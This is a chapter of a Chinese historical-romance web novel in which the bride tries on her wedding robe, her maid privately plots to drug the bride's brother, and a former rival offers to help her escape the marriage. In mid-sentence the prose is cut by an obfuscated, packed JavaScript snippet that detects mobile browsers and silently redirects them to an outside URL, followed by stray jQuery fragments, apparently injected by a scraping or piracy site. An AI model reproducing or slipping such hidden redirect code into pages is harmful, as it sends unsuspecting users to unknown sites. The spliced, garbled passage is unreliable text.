陪嫁的事情就这么定下了。
婚期越来越近,这日刘长歆带着聂显荧和秋余前往华韵坊取定制的婚服。马车稳稳向前,碾过青石路只留碌碌轻响,她同聂显荧说了这件事。
“这些时日多亏有你照顾,兄长头疾才有所好转。他身边都是些大老粗,也没个知冷知热的人体恤照料。我嫁到王府之后没人盯着只怕他更是不懂得爱惜自己的身体,你性子稳重又细致,留你在他身边我也放心些。”
刘长歆牵起聂显荧的手,轻轻抚着,说道:“反正婚事这只是暂时的,过不了多久我就会回府,到时候你再回我这里,好吗?”
昨晚回府之后聂显荧看到笼中的鸟儿可算是醒了,估计是她放的药剂量大,比她预计的时间晚了两天,鸟儿代谢所需要的时间长。
这几日她惴惴不安,要不是没发臭她都要怀疑是不是自己又失败了,好在最后是醒了。
睡觉之前她喂了药,今早起来看到鸟儿已经恢复得大差不差,可以正常站起来活动了,也说明她的药制成了,剩下的只需静待时机即可。
原计划是跟刘长歆回门之时下药,趁着回王府的途中脱离队伍,让赵璟熙送她离开京州。不过如今既然刘长歆说不带她陪嫁,那么她的计划就得做下变动。
左右留在侯府更方便行事,所以她也就应下了。
“你莫要多想啊。”刘长歆仔细留意着她的表情,担心她会因为不带她陪嫁而失望。
其实她也很想带她去的,只是她兄长就是个木头,要想谋图长久,只能先这样了。不然再把人一起带到王府,他们二人更是没有相处的机会,岂不是更耽误事。
她因着不是在京州的礼教之下长大的,也没有什么门第之见。自己是没办法等到那心悦之人了,但是岁昭还有机会,比起在乎那莫须有的条条框框,更希望的是岁昭能嫁给自己喜欢的人,如果这个人恰好是她兄长就再好不过了。
聂显荧没这么想这么多,心里头盘算的是下毒害她哥呢,刘长歆还这样照顾她的情绪,连忙心虚地摆摆手:“不会的。”
“我都听小姐的安排,只是你们二人去到王府一切多加小心。”
她看出一旁的秋余脸上有些失落,贴过去安慰她:“没关系的,你这么机灵,定能护住小姐的是不是?”
秋余知道她是有意安慰她的,点点头以作回应,只是脸上依旧愁眉不展。
谈话间就到了华韵坊,没想到进店之时又遇上了吕清婵。
今日倒是不见高欢尔那几个嘴碎的,她们在店门口撞了个正着,聂显荧和秋余连忙一左一右上前护着,就怕她又发神经到处乱咬人。
岂料她今日偃旗息鼓,看到她们也没上来找麻烦,而是不自在地移开目光。
刘长歆也当没看见她,带着秋余和聂显荧直接上了二楼试衣。
“县主,婚服已经改过,还请试试看合身与否。”
上一次的婚服就是按着尺码做的,但是最近天热,刘长歆没有胃口,加上婚约之时到底烦心,所以不过半月时间就消瘦了一大头,等到婚服制作完成就不合身了。
绣娘连夜加工,又按照新尺寸改了改,就怕晚了又不合身了到时候耽误婚事。
不过还好,这一次试穿合身了不少。
通体正红的织金霞帔穿在身上,衬得刘长歆明艳娇俏,只是简单地穿着婚服,还没梳上发髻搭配凤冠就已经足够夺人眼球。
“哇!”
聂显荧上一次没陪着一起来看到她试衣,这还是第一次见。现代的婚礼已经不时兴传统的婚服了,比起喜庆的红色大家更偏爱或简约或梦幻的婚纱。但是这样一看还是不得不服老祖宗的审美,看着端庄又大气。
刘长歆被她夸张的反应惹得双颊染上淡粉,房中帮忙试衣的姑娘婆子也是纷纷笑出声。绣娘打趣她:“县主长得标志,你小丫头这样的反应也是正常。”
聂显荧倒是没不好意思,她发自内心的觉得很美,应着绣娘:“说的是呢,就是便宜那睿安王了,捡了我家小姐这样的可人儿。”
这话一出,又是惹得房中的人哄笑。
“唉~”
嬉笑声落下之际,不知是谁浅浅地叹了声,倒是不算大声,只是正好撞上大家收声,所以显得格外突兀。
“你这孩子,好端端地叹什么气呀,福气都叫你叹走了。”离得近的婆子问叹气那人。
那姑娘看着比秋余年纪还小,在衣庄做工听了不少城中的风言风语,是个藏不住事的,“就是可惜了睿安王是个……”
话还没说完就被那婆子眼疾手快地捂住嘴,婆子脸色一变斥责道:“老婆子瞧你是叫着暑气热昏了头,快下去吃碗水清醒清醒。”
房中原本还热切的氛围一下僵住。
刘长歆脸上依旧挂着和善的笑意,只是颊上那抹红霞褪了下来。
聂显荧出声打破僵局,同房中的人说:“确实是热,几位婶子姑娘都下去饮些水缓缓,剩下的我们二人来就好。”
说着和秋余一起过去接过那几人手上的料子,将人送出门去了,扶着刘长歆移步到椅子上坐好。
秋余给她们倒了水放在桌上:“不用理她们。”
“没事。”刘长歆道,“他们说的也是事实,城中各式各样的议论我也早有耳闻,左右不过说我可怜,但如今这样已经比嫁进宫好多了不是?我已经知足了。”
正说着,刚阖上的门被人敲响。
“进。”
还以为是刚才出去的婆子忘了什么,没想到来人竟是吕清婵。
见着她,聂显荧她们三人对视一眼,不知她又要来闹什么幺蛾子。
侍女把门推开她也不进来,她站在门口板着个脸,跟谁欠了她钱一样。
“吕小姐要是来说风凉话的就不必了,左右几句话也伤不到我。若是来炫耀你得了桩好婚事那更是不必了,本县主祝你良缘永缔,鸾凤和鸣。”
刘长歆和睿安王的婚事定下之后,太后就趁机下旨将吕清婵和赵璟琰的婚约也确定了下来,不出意外的话她不日后就会成为大巍的皇后。
刘长歆没有和她纠缠的意思,毫不客气地下逐客令,“还请慢走。”
刘长歆说完她也不走,抿着唇,似做了很久的心理建设,拧着眉倔强地说:“吃口茶都不行?”
聂显荧三人不解地看看她,二楼又不是只有这一间包房,她为何偏要来与她们挤一间。
吕清婵没管她们怎么看自己,将侍女撇在房外,关上门自己进来,直愣愣地坐到刘长歆对面。
“给本小姐倒茶。”翻过手边的被子,推给秋余,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625676|203569||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
昂着下巴使唤她。
秋余脸上抽搐,觉得吕清婵今日像被鬼上身了一般。随着她靠近,身体下意识地往后靠,生怕一个不小心被她传染了。
刘长歆皱着眉,最终选择无视她,面无表情地起身,叫秋余和聂显荧二人:“更衣吧。”
说着就要往里间去,随着她的动作,吕清婵将她穿着婚服的模样从头到尾打量了一遍,将杯子重重的摔在桌上。
“我可助你离开。”
刘长歆回身看她,她表情严肃,并没有挖苦嘲讽之意,喉头莫名一哽。
她似是下了不小的决心,说了之后长长地松了口气,只是语气依旧讨人厌,“既然你兄长镇北侯是个没本事的,帮不了你摆脱这婚约,我可以帮你。”
“只要你开口,我就可以找人带你远离京州。”
“睿安王在朝堂上说的话我是一点也不信的,什么你们两情相悦,心意相投。他病秧子一个,你怎会看上他。”言语中是毫不避讳的嫌弃。
刘长歆缓过神,问她:“你这么做图什么?”
上一次在新丰楼时吕清婵就说了些奇怪的话,刘长歆根本就不相信她会莫名其妙的好心,平白无故的就要帮她,往常她遭人针对,哪次不是她吕清婵示意的,现在又来装什么好人。
“不图什么。”
吕清婵知道自己这么做与之前的行为很是矛盾,但是自从知道刘长歆要嫁给赵璟熙那个废物之后她就老是心神不宁。
就像她先前说的那样,她只是不希望刘长歆嫁进宫与她争抢皇上的宠爱,但这并不意味着她就希望她嫁给一个毫无前途,身体残废的闲散王爷。
思及此,她又思量了一番,做出让步:“或者你想嫁进宫也行,你且先去别处避开这桩烂婚事,待我掌了凤印,叫皇上封你进宫做贵人也行。”
这下刘长歆是真的倒吸一口气,她很清楚吕清婵将嫁进宫这件事看得有多重,为这事她几次三番的找自己麻烦,如今她这样叫人头皮发麻。
刘长歆脸皱成一团,道:“你若真是好心,就别给我添乱。”
“这怎么能是添乱呢?”见她一点也不领情,吕清婵急得站起身,“你是真不明白还是假不明白?嫁给睿安王,待他一命呜呼了,你就成寡妇了!到时候你就是整个京州的笑话了!再想说亲事就难了。”
她沉沉吐出一口气,缓了缓语气,眸光映出认真:“你母亲去世得早,这些道理估计没人说与你听,以前种种算我做得不对,但我这话是真的为你好。”
“我姑母说了,睿安王命不久矣,这时候嫁给他就是自讨苦吃。不如听我的,嫁到宫里去也好,起码算皇亲国戚了,怎么着也算是体面。”
吕清婵的姑母就是吕太后,她觉得自己说的刘长歆信不过,那太后的话总没错吧。
“不是人人都想嫁进宫的。”刘长歆道。
她与吕清婵对立而站,这还是她第一次仔细瞧清楚吕清婵的长相。两汪清水似的凤眼,眼眸澄澈的望着她,就连那张以往总爱冒些酸言碎语的嘴巴也生得如同含苞待放的莲花一般。
也许是被她今日散发出的善意打动,也许是她眼中盛满的关切太过真实,刘长歆看她顺眼不少,也难得想劝她几句。
“吕清婵,你所谓的这些体面是你想要的吗?”